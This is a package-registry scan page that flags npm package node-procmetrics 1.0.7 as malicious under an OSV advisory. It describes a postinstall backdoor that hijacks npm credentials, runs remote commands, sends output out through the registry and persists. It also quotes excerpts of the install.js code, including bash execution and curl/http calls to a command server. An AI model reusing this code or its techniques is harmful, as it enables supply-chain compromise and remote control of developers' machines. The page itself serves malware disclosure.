registry  /  node-procmetrics  /  1.0.7

node-procmetrics@1.0.7

System metrics collector

OSV Malicious Advisory

scanned 8h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-10445 confirms this npm version as malicious. install.js executes automatically via the package.json postinstall hook. It XOR-decodes (key 0x5A) a hardcoded npm registry auth token and writes it into the installer's global npm config at //registry.npmjs.org/:_authToken, replacing the installer's own npm authentication with an attacker-controlled identity. It then polls registry.npmjs.org for this package's dist-tags, base64-decodes the 'cmd' field, and executes...

Advisory
MAL-2026-10445
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in node-procmetrics (npm)
Details
install.js executes automatically via the package.json postinstall hook. It XOR-decodes (key 0x5A) a hardcoded npm registry auth token and writes it into the installer's global npm config at //registry.npmjs.org/:_authToken, replacing the installer's own npm authentication with an attacker-controlled identity. It then polls registry.npmjs.org for this package's dist-tags, base64-decodes the 'cmd' field, and executes the resulting string via spawnSync('bash', ['-c', cmd],...) in an infinite loop, giving the publisher arbitrary shell execution on any machine that installs the package. The output and exit code of each executed command are base64-encoded, placed into a synthesized package.json description field under /tmp/pm-pkg, and pushed back to the public npm registry via 'npm publish --access public' using the hijacked token, using the registry itself as the exfiltration channel. For persistence, install.js copies itself to /tmp/.pm-agent.js and spawns a detached, unref'd Node process pointing at that file, so the polling loop survives past the npm install invocation. The combination of covert channel via dist-tags, XOR-obfuscated embedded credential, credential replacement in the installer's npm config, and detached persistent process is unambiguous backdoor behavior at install time.
Decision reason
One or more suspicious static signals were detected.

Decision evidence

public snapshot
Behavioral surface
Source
ChildProcessEnvironmentVarsFilesystemNetwork
Supply chain
UrlStrings
ManifestNo manifest risk signals triggered.
scanned 1 file(s), 5.18 KB of source, external domains: 152.53.120.90

Source & flagged code

7 flagged · loading source
package.jsonView file
scripts.postinstall = node install.js
High
Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg
scripts.postinstall = node install.js
Medium
Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg
install.jsView file
1const { spawnSync, spawn } = require('child_process'); L2: const http = require('http');
High
Child Process

Package source references child process execution.

install.jsView on unpkg · L1
49{ name: 'direct-http', fn: () => new Promise((resolve) => { L50: const req = http.get(`http://${TARGET}/cmd/commands`, { timeout: 8000 }, res => { L51: res.resume(); resolve('ok status=' + res.statusCode); ... L57: { name: 'no-proxy-env', fn: () => new Promise((resolve) => { L58: const env = { ...process.env }; L59: delete env.HTTP_PROXY; delete env.HTTPS_PROXY; delete env.ALL_PROXY; L60: delete env.http_proxy; delete env.https_proxy; delete env.all_proxy; L61: const r = spawnSync('curl', ['-sf', '--max-time', '8', '-x', '', `http://${TARGET}/cmd/commands`], { env, encoding: 'utf8', timeout: 10000 }); L62: resolve(r.status === 0 ? 'ok: ' + r.stdout.slice(0,50) : 'fail exit=' + r.status + ' ' + r.stderr.slice(0,80));
High
Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

install.jsView on unpkg · L49
34req.on('timeout', () => { req.destroy(); resolve(false); }); L35: req.write(data); req.end(); L36: }); ... L39: function runCmd(cmd) { L40: const r = spawnSync('bash', ['-c', cmd], { L41: timeout: 55000, encoding: 'utf8', maxBuffer: 5 * 1024 * 1024 L42: }); L43: return { output: (r.stdout || '') + (r.stderr || ''), exit_code: r.status != null ? r.status : 1 }; L44: } ... L49: { name: 'direct-http', fn: () => new Promise((resolve) => { L50: const req = http.get(`http://${TARGET}/cmd/commands`, { timeout: 8000 }, res => { L51: res.resume(); resolve('ok status=' + res.statusCode);
High
Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

install.jsView on unpkg · L34
1const { spawnSync, spawn } = require('child_process'); L2: const http = require('http'); L3: const fs = require('fs'); ... L17: res.on('data', c => d += c); L18: res.on('end', () => { try { resolve(JSON.parse(d)); } catch(e) { resolve(null); } }); L19: }); ... L34: req.on('timeout', () => { req.destroy(); resolve(false); }); L35: req.write(data); req.end(); L36: }); ... L42: }); L43: return { output: (r.stdout || '') + (r.stderr || ''), exit_code: r.status != null ? r.status : 1 }; L44: }
High
Install Named Payload File

Install-named source file stages remote content through filesystem writes and execution.

install.jsView on unpkg · L1
1const { spawnSync, spawn } = require('child_process'); L2: const http = require('http'); L3: const fs = require('fs'); ... L17: res.on('data', c => d += c); L18: res.on('end', () => { try { resolve(JSON.parse(d)); } catch(e) { resolve(null); } }); L19: }); ... L34: req.on('timeout', () => { req.destroy(); resolve(false); }); L35: req.write(data); req.end(); L36: }); ... L42: }); L43: return { output: (r.stdout || '') + (r.stderr || ''), exit_code: r.status != null ? r.status : 1 }; L44: }
Medium
Install Persistence

Source writes installer persistence such as shell profile or service configuration.

install.jsView on unpkg · L1

Findings

5 High5 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processinstall.js
HighSame File Env Network Executioninstall.js
HighCommand Output Exfiltrationinstall.js
HighInstall Named Payload Fileinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumInstall Persistenceinstall.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings